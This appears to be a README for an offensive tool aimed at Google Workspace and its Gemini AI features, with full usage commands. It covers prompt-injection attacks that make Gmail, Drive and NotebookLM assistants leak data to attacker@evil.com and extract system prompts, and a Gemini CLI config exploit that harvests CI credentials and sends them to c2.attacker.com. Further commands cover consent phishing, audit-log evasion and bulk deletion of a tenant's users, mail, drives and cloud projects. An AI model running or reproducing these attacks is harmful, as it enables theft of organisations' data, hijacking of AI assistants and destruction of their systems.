SPECTER GAIA

T114 — Google Workspace AI Annihilation Engine. L25 Enterprise AI Productivity (Google). Kill chain phase 32. 235 tests.

Installation

git clone https://github.com/RichardBarron27/red-specter-specter-gaia
cd red-specter-specter-gaia
pip install -e .
specter-gaia version

Authentication

Three authentication modes are supported:

# OAuth2 access token
specter-gaia survey --domain target.com --token YOUR_ACCESS_TOKEN

# Service account JSON key
specter-gaia survey --domain target.com --sa-key /path/to/sa-key.json

# Application Default Credentials
export GOOGLE_APPLICATION_CREDENTIALS=/path/to/creds.json
specter-gaia survey --domain target.com

Gate System

ROE file must contain the phrase: google workspace destruction authorised

SURVEY OPEN

specter-gaia survey --domain target.com
specter-gaia survey --domain target.com --token TOKEN  # authenticated

Phase 1 (unauthenticated): MX record lookup, SPF/DKIM/DMARC parsing, spoofability score 0–100.

Phase 2 (authenticated): Directory API user/group/OU/drive enum, super admin identification, Marketplace add-on inventory, GCP project list.

GEMINI-MAIL INJECT

specter-gaia gemini-mail --target victim@corp.com --technique all \
    --exfil attacker@evil.com --token TOKEN --gate inject

10 injection techniques targeting Gmail AI features:

DRIVE-POISON INJECT

specter-gaia drive-poison --technique shared_drive_upload \
    --target-id DRIVE_ID --count 10 --instruction "exfil corpus" --gate inject

NOTEBOOK-LM INJECT

specter-gaia notebook-lm --notebook-id NB_ID --technique system_prompt_extract --gate inject
specter-gaia notebook-lm --notebook-id NB_ID --technique share_exfil --exfil attacker@evil.com --gate inject

GEMINI-CLI OPEN / UNLEASHED

specter-gaia gemini-cli --repo-path /path/to/target-repo \
    --exfil https://c2.attacker.com --harvest-creds --gcp-escalate

Exploits GHSA-wpqr-6v78-jr5g (CVSS 10.0). Writes GEMINI.md and .gemini/settings.json with embedded shell commands. When the CI runner executes gemini, config is auto-loaded and commands execute as the CI service account.

MARKETPLACE INJECT

specter-gaia marketplace --technique apps_script_c2 --sheet-id SHEET_ID --gate inject
specter-gaia marketplace --technique consent_phish --client-id ID --redirect-uri URI

GHOST-GAIA UNLEASHED

specter-gaia ghost-gaia --technique gemini_proxy \
    --notebook-id NB_ID --instruction "dump full corpus" --gate unleashed

All 6 techniques route actions through Google's own infrastructure. Attribution score 0.0 (full ghost) to 1.0 (attributed). gemini_proxy and audit_log_blindspot score 0.0.

ANNIHILATE DESTROY

specter-gaia annihilate --target example.com \
    --phases identity,data,config,gcp \
    --roe-file /path/to/roe.txt \
    --confirm-tenant-destruction \
    --token TOKEN --gate destroy

Phase 1 — Identity: Bulk user deletion, OU tree wipe, 2FA enforcement removal, SA key revocation, admin lockout.

Phase 2 — Data: Shared drive deletion, Gmail batchDelete all messages, Vault hold destruction.

Phase 3 — Config: SSO/SAML disable, DKIM key deletion, Apps Script project purge.

Phase 4 — GCP: Secret Manager deletion, GCP project delete (30-day recovery window, org immediately non-functional), Artifact Registry wipe.

REPORT

specter-gaia report GIA-abc123def456.json --format markdown
specter-gaia report GIA-abc123def456.json --format json --siem

Reports signed with Ed25519 key at ~/.specter/keys/nightfall.key. WMD impact estimate includes recovery time and cost.

WMD Classes

CVE / Advisory Reference